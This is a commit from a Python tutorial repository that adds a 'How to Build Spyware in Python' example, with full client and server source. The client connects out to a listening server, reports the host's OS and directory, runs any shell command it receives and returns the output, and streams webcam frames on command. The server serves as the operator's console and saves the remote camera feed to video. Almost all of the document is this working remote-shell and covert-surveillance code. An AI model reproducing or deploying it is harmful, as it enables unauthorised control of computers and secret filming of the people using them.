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Commit496d18a

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add spyware tutorial
1 parent369c05e commit496d18a

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‎README.md

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@@ -64,6 +64,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
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-[How to Find Past Wi-Fi Connections on Windows in Python](https://thepythoncode.com/article/find-past-wifi-connections-on-windows-in-python). ([code](ethical-hacking/find-past-wifi-connections-on-windows))
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-[How to Remove Metadata from PDFs in Python](https://thepythoncode.com/article/how-to-remove-metadata-from-pdfs-in-python). ([code](ethical-hacking/pdf-metadata-remover))
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-[How to Extract Metadata from Docx Files in Python](https://thepythoncode.com/article/docx-metadata-extractor-in-python). ([code](ethical-hacking/docx-metadata-extractor))
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-[How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python). ([code](ethical-hacking/spyware))
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-###[Machine Learning](https://www.thepythoncode.com/topic/machine-learning)
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-###[Natural Language Processing](https://www.thepythoncode.com/topic/nlp)

‎ethical-hacking/spyware/README.md

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#[How to Build Spyware in Python](https://thepythoncode.com/article/how-to-build-spyware-in-python)

‎ethical-hacking/spyware/client.py

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importsocket# For network (client-server) communication.
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importos# For handling os executions.
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importsubprocess# For executing system commands.
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importcv2# For recording the video.
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importthreading# For recording the video in a different thread.
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importplatform# We use this to get the os of the target (client).
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SERVER_HOST="127.0.0.1"# Server's IP address
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SERVER_PORT=4000
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BUFFER_SIZE=1024*128# 128KB max size of messages, you can adjust this.
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# Separator string for sending 2 messages at a time.
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SEPARATOR="<sep>"
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# Create the socket object.
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s=socket.socket()
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# Connect to the server.
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s.connect((SERVER_HOST,SERVER_PORT))
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# Get the current directory and os and send it to the server.
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cwd=os.getcwd()
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targets_os=platform.system()
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s.send(cwd.encode())
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s.send(targets_os.encode())
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# Function to record and send the video.
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defrecord_video():
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globalcap
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cap=cv2.VideoCapture(0)
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whileTrue:
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ret,frame=cap.read()
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ifnotret:
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break
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_,frame_bytes=cv2.imencode('.jpg',frame)
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frame_size=len(frame_bytes)
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s.sendall(frame_size.to_bytes(4,byteorder='little'))
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s.sendall(frame_bytes)
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cap.release()
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cv2.destroyAllWindows()
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whileTrue:
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# receive the command from the server.
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command=s.recv(BUFFER_SIZE).decode()
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splited_command=command.split()
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ifcommand.lower()=="exit":
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# if the command is exit, just break out of the loop.
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break
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elifcommand.lower()=="start":
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# Start recording video in a separate thread
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recording_thread=threading.Thread(target=record_video)
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recording_thread.start()
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output="Video recording started."
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print(output)
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else:
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# execute the command and retrieve the results.
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output=subprocess.getoutput(command)
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# get the current working directory as output.
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cwd=os.getcwd()
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# send the results back to the server.
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message=f"{output}{SEPARATOR}{cwd}"
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s.send(message.encode())
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# close client connection.
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s.close()
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numpy
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opencv-python
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importsocket# For network (client-server) communication.
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importcv2# For video recording.
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importsignal# For handling the ctrl+c command when exiting the program.
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importthreading# For running the video recording in a seperate thread.
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importnumpyasnp# For working with video frames.
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# SERVER_HOST = "0.0.0.0" # Bind the server to all available network interfaces.
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# or if you want to test it locally, use 127.0.0.1
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SERVER_HOST="127.0.0.1"
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SERVER_PORT=4000
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BUFFER_SIZE=1024*128# 128KB max size of messages. You can adjust this to your taste
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# Separator string for sending 2 messages at a time
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SEPARATOR="<sep>"
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# Create the socket object.
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s=socket.socket()
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# Bind the socket to all IP addresses of this host.
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s.bind((SERVER_HOST,SERVER_PORT))
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# Make the PORT reusable
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s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
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# Set maximum number of queued connections to 5.
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s.listen(5)
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print(f"Listening as{SERVER_HOST} on port{SERVER_PORT} ...")
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# Accept any connections attempted.
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client_socket,client_address=s.accept()
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print(f"{client_address[0]}:{client_address[1]} Connected!")
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# Receive the current working directory and os of the target (client).
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cwd=client_socket.recv(BUFFER_SIZE).decode()
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targets_os=client_socket.recv(BUFFER_SIZE).decode()
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# Print the info received.
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print("[+] Current working directory: ",cwd)
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print("[+] Target's Operating system: ",targets_os)
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# Set up the video capture and writer.
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cap=None
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out=None
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recording_thread=None
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# Function to handle Ctrl+C signal.
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defsignal_handler(sig,frame):
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print('Saving video and exiting...')
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ifrecording_threadisnotNone:
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recording_thread.join()
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ifcapisnotNoneandoutisnotNone:
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cap.release()
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out.release()
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cv2.destroyAllWindows()
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client_socket.close()
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s.close()
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exit(0)
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# Set up the signal handler.
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signal.signal(signal.SIGINT,signal_handler)
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# Function to record and display the video.
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defrecord_video():
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globalout
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fourcc=cv2.VideoWriter_fourcc(*'mp4v')
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out=cv2.VideoWriter('output.mp4',fourcc,30.0, (640,480))
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whileTrue:
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# Receive the frame size.
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frame_size=int.from_bytes(client_socket.recv(4),byteorder='little')
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# Receive the frame data.
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frame_data=b''
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whilelen(frame_data)<frame_size:
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packet=client_socket.recv(min(BUFFER_SIZE,frame_size-len(frame_data)))
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ifnotpacket:
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break
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frame_data+=packet
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ifnotframe_data:
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break
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# Decode the frame.
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frame=cv2.imdecode(np.frombuffer(frame_data,dtype=np.uint8),cv2.IMREAD_COLOR)
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# Write the frame to the video file.
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out.write(frame)
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# Display the frame.
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cv2.imshow('Remote Camera Feed',frame)
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ifcv2.waitKey(1)&0xFF==ord('q'):
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break
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out.release()
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client_socket.close()
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cv2.destroyAllWindows()
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whileTrue:
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# Get the command from the user.
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command=input(f"{cwd} $> ")
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ifnotcommand.strip():
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# Empty command.
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continue
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# Send the command to the client.
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client_socket.send(command.encode())
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ifcommand.lower()=="exit":
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# If the command is exit, just break out of the loop.
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break
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elifcommand.lower()=="start":
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# Start recording video in a separate thread.
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recording_thread=threading.Thread(target=record_video)
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recording_thread.start()
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output="Video recording started."
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print(output)
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else:
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# Receive the results from the client.
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output=client_socket.recv(BUFFER_SIZE).decode()
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results,cwd=output.split(SEPARATOR)
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print(results)
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# Close the connection to the client and server.
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ifrecording_threadisnotNone:
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recording_thread.join()
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client_socket.close()
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s.close()

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